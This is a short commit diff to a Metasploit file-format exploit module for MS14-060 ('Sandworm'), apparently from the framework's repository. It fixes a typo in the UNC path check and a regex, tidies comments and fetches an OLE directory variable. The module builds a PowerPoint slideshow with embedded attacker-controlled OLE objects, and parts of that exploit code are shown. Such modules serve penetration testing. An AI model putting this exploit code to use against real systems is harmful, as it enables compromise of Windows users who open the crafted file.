Fix ruby

Author: jvazquez-r7

modules/exploits/windows/fileformat/ms14_060_sandworm.rb

@@ -89,8 +89,8 @@ def exploit
   end
 
   def validate_unc
-    if datastore['UNCPATH'] =~ /\\\\([^\\]+)\\([^\\]+)/
-      unc = datastore['UNPATH']
+    if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)/
+      unc = datastore['UNCPATH']
     else
       unc = nil
     end
@@ -115,15 +115,15 @@ def zip_ppsx(ole_exe, ole_inf)
       end
     end
 
-    #add the otherwise skipped "hidden" file
+    # add the otherwise skipped "hidden" file
     file = "#{data_dir}/_rels/.rels"
     zip_data[file.sub(data_dir,'')] = File.read(file)
 
-    #put our own OLE streams
+    # put our own OLE streams
     zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
     zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf
 
-    #and lets create the file
+    # create the ppsx
     ppsx = Rex::Zip::Archive.new
     zip_data.each_pair do |k,v|
       ppsx.add_file(k,v)
@@ -163,6 +163,7 @@ def create_ole(stream_name, data)
     stm << data
     stm.close
 
+    directory = stg.instance_variable_get(:@directory)
     directory.each_entry do |entry|
       if entry.instance_variable_get(:@_ab) == 'Root Entry'
         # 02260200-0000-0000-c000-000000000046 # Video clip